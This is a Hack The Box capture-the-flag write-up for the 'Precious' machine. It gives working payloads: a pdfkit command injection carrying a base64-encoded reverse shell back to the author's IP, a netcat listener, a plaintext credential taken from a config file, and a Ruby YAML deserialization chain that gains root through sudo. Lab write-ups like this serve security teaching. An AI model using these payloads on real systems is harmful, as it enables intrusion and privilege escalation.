Precious hackthebox writeup
User flag
As always let’s scan the ports.
nmap -p- -Pn -n -vv --min-rate 5000 -sS -oN allports 10.10.11.189
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Nothing outside your typical hackthebox easy machine
nmap -p80,22 -sCV -vv -oN targeted 10.10.11.189
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
...
80/tcp open http syn-ack ttl 63 nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Then let’s add precious.htb
to our /etc/hosts
and start investigating the page. The main functionality of this page is to transform another webpage to a .pdf, you can try it with your IP by opening an http server with python
python3 -m http.server
But what is important here is what technology is being used, to get that information we are going to use burpsuite to intercept the request. If you enter a valid IP the pdf will be downloaded and by intercepting this package we can find it at the end in the metadata Generated by pdfkit v0.8.6
. Doing a quick google search leads us to Snyk with a poc to exploit this vulnerability. After trying the sleep payload and seeing it worked I tried to get a reverse shell. I managed to get by using the usual base64 encoding, this is a payload example.
http://10.10.14.80/?name=#{'%20`echo "c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuODAvNzc3NyAwPiYxCg==" | base64 -d | bash`'}
And got a reverse shell successfully. Now it was time to improve the tty for a better workflow
[dasor@archlinux ~]$ nc -lvp 7777
Connection from 10.10.11.189:50408
sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
ruby@precious:/var/www/pdfapp$ ^Z
zsh: suspended nc -lvp 7777
[dasor@archlinux ~]$ stty raw -echo;fg
[1] + continued nc -lvp 7777
script /dev/null -c bash
Script started, output log file is '/dev/null'.
ruby@precious:/var/www/pdfapp$ export TERM=xterm
ruby@precious:/var/www/pdfapp$ stty rows 30 columns 132
ruby@precious:/var/www/pdfapp$
Although we can’t yet get the user flag since we are the user ruby. However, one thing experience solving ctf’s has taught me is to look at the home directory and look for non-usual folders (for instance this also applies to the last machine metatwo. In this case, we have a .bundle folder, bundle is a ruby-related application (actually the one my blog uses), So out of curiosity, I checked the folder and … found plaintext credentials!.
ruby@precious:/var/www/pdfapp$ cd
ruby@precious:~$ ls -la
total 844
drwxr-xr-x 5 ruby ruby 4096 Dec 9 11:20 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
lrwxrwxrwx 1 root root 9 Oct 26 07:53 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby 220 Mar 27 2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27 2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .bundle
drwxr-xr-x 4 ruby ruby 4096 Dec 9 11:10 .cache
drwx------ 3 ruby ruby 4096 Dec 9 11:20 .gnupg
-rwxr-xr-x 1 ruby ruby 827827 Oct 22 08:50 linpeas.sh
-rw-r--r-- 1 ruby ruby 807 Mar 27 2022 .profile
ruby@precious:~$ cd .bundle/
ruby@precious:~/.bundle$ cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
ruby@precious:~/.bundle$ su henry
Password:
henry@precious:/home/ruby/.bundle$
Root flag
The root flag is also simple, by executing sudo -l
we find what looks like a privesc vector.
henry@precious:/home/ruby/.bundle$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
If we execute the command it gives us an error regarding a dependencies.yml
file
henry@precious:/home/ruby/.bundle$ sudo /usr/bin/ruby /opt/update_dependencies.rb
Traceback (most recent call last):
2: from /opt/update_dependencies.rb:17:in `<main>'
1: from /opt/update_dependencies.rb:10:in `list_from_file'
/opt/update_dependencies.rb:10:in `read': No such file or directory @ rb_sysopen - dependencies.yml (Errno::ENOENT)
So if hacking has taught us something is to never trust user input, and in this case, we can create our own dependencies.yml
file. By making a quick google search I found this exploit from PayloadAllTheThings. The ruby version is 2.7.4 so the first payload won’t work, let’s use the second.
henry@precious:/dev/shm$ cat > dependencies.yml
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id
method_id: :resolve
^C
henry@precious:/dev/shm$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
...
We can see it works fine, so the last step is just to change the id
command for something that can be used to escalate like bash
henry@precious:~$ vi dependencies.yml
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
root@precious:/home/henry# cd
root@precious:~# whoami
root
And that’s it! thank you for reading